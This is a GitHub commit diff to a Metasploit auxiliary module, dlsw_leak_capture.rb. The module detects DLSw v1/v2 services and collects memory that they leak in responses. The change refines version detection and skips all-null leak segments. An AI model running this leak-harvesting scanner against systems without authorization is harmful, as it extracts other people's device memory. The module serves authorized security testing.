Skip to content

Commit 3aecd3a

Browse files
author
tate
committed
added DLSw v1 and v2 check, added check for \x00 in leak segment
1 parent e9750e2 commit 3aecd3a

File tree

1 file changed

+14
-12
lines changed

1 file changed

+14
-12
lines changed

modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def peer
4646
"#{rhost}:#{rport}"
4747
end
4848

49-
def get_response(size = 8)
49+
def get_response(size = 72)
5050
connect
5151
response = sock.get_once(size)
5252
disconnect
@@ -61,7 +61,7 @@ def check_host(_ip)
6161
if response.blank?
6262
vprint_status("#{peer}: no response")
6363
Exploit::CheckCode::Safe
64-
elsif response[0..3] == "\x31\x48\x01\x5b"
64+
elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
6565
vprint_good("#{peer}: Detected DLSw protocol")
6666
report_service(
6767
host: rhost,
@@ -71,15 +71,17 @@ def check_host(_ip)
7171
)
7272
# TODO: check that response has something that truly indicates it is vulnerable
7373
# and not simply that it responded
74-
print_good("#{peer}: leaked #{response.length} bytes")
75-
report_vuln(
76-
host: rhost,
77-
port: rport,
78-
name: name,
79-
refs: references,
80-
info: "Module #{fullname} collected #{response.length} bytes"
81-
)
82-
Exploit::CheckCode::Vulnerable
74+
unless response[18..72].scan(/\x00/).length == 54
75+
print_good("#{peer}: leaked #{response.length} bytes")
76+
report_vuln(
77+
host: rhost,
78+
port: rport,
79+
name: name,
80+
refs: references,
81+
info: "Module #{fullname} collected #{response.length} bytes"
82+
)
83+
Exploit::CheckCode::Vulnerable
84+
end
8385
else
8486
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
8587
Exploit::CheckCode::Safe
@@ -92,7 +94,7 @@ def run_host(ip)
9294

9395
dlsw_data = ''
9496
until dlsw_data.length > datastore['LEAK_AMOUNT']
95-
response = get_response(72)
97+
response = get_response
9698
dlsw_data << response[18..72] unless response.blank?
9799
end
98100
loot_and_report(dlsw_data)

0 commit comments

Comments
 (0)